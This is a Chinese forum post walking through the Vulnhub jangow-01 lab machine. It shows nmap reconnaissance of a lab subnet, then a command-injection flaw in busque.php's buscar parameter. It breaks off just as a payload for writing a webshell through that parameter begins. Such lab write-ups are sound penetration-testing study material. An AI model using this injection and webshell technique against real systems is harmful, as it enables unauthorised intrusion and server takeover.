IT评测·应用市场-qidao123.com

标题: vuluhub_jangow-01-1.0.1 [打印本页]
作者: 魏晓东    时间: 2023-2-15 00:33
标题: vuluhub_jangow-01-1.0.1
前言

靶机：jangow-01-1.0.1
攻击机：kali linux2022.4
靶机描述

打靶ing

靶机探测

使用nmap扫描网段
点击查看代码
  1. ┌──(root㉿kali)-[/home/kali]
  2. └─# nmap 192.168.70.0/24      
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 20:56 EST
  4. Nmap scan report for 192.168.70.1
  5. Host is up (0.00012s latency).
  6. All 1000 scanned ports on 192.168.70.1 are in ignored states.
  7. Not shown: 1000 filtered tcp ports (no-response)
  8. MAC Address: 00:50:56:C0:00:08 (VMware)
  10. Nmap scan report for 192.168.70.2
  11. Host is up (0.000056s latency).
  12. Not shown: 999 closed tcp ports (reset)
  13. PORT   STATE SERVICE
  14. 53/tcp open  domain
  15. MAC Address: 00:50:56:FE:42:C8 (VMware)
  17. Nmap scan report for 192.168.70.152
  18. Host is up (0.00027s latency).
  19. Not shown: 998 filtered tcp ports (no-response)
  20. PORT   STATE SERVICE
  21. 21/tcp open  ftp
  22. 80/tcp open  http
  23. MAC Address: 00:0C:29:67:A6:61 (VMware)
  25. Nmap scan report for 192.168.70.254
  26. Host is up (0.00022s latency).
  27. All 1000 scanned ports on 192.168.70.254 are in ignored states.
  28. Not shown: 1000 filtered tcp ports (no-response)
  29. MAC Address: 00:50:56:EA:9C:6A (VMware)
  31. Nmap scan report for 192.168.70.137
  32. Host is up (0.0000070s latency).
  33. All 1000 scanned ports on 192.168.70.137 are in ignored states.
  34. Not shown: 1000 closed tcp ports (reset)
  36. Nmap done: 256 IP addresses (5 hosts up) scanned in 11.44 seconds
复制代码
发现靶机ip：192.168.70.152扫描开放端口信息

点击查看代码
  1. ┌──(root㉿kali)-[/home/kali]
  2. └─# nmap -A -p- 192.168.70.152
  3. Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-13 20:59 EST
  4. Nmap scan report for 192.168.70.152
  5. Host is up (0.00042s latency).
  6. Not shown: 65533 filtered tcp ports (no-response)
  7. PORT   STATE SERVICE VERSION
  8. 21/tcp open  ftp     vsftpd 3.0.3
  9. 80/tcp open  http    Apache httpd 2.4.18
  10. |_http-title: Index of /
  11. |_http-server-header: Apache/2.4.18 (Ubuntu)
  12. | http-ls: Volume /
  13. | SIZE  TIME              FILENAME
  14. | -     2021-06-10 18:05  site/
  15. |_
  16. MAC Address: 00:0C:29:67:A6:61 (VMware)
  17. Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
  18. Device type: general purpose
  19. Running: Linux 3.X|4.X
  20. OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
  21. OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
  22. Network Distance: 1 hop
  23. Service Info: Host: 127.0.0.1; OS: Unix
  25. TRACEROUTE
  26. HOP RTT     ADDRESS
  27. 1   0.42 ms 192.168.70.152
  29. OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  30. Nmap done: 1 IP address (1 host up) scanned in 118.11 seconds
复制代码
查看网站信息

先访问80端口

可以发现是一个目录遍历，查找一下有用信息
在site目录下发现一个网站


漏洞探测

四处看看功能点

发现了一个可以传参得接口
http://192.168.70.152/site/busque.php?buscar=
对变量buscar进行测试
传入参数1

没什么回显，传入id

在该参数发现存在rce
漏洞利用


利用该漏洞写入webshell
payload
192.168.70.152/site/busque.php?buscar=echo '



欢迎光临 IT评测·应用市场-qidao123.com (https://dis.qidao123.com/) Powered by Discuz! X3.4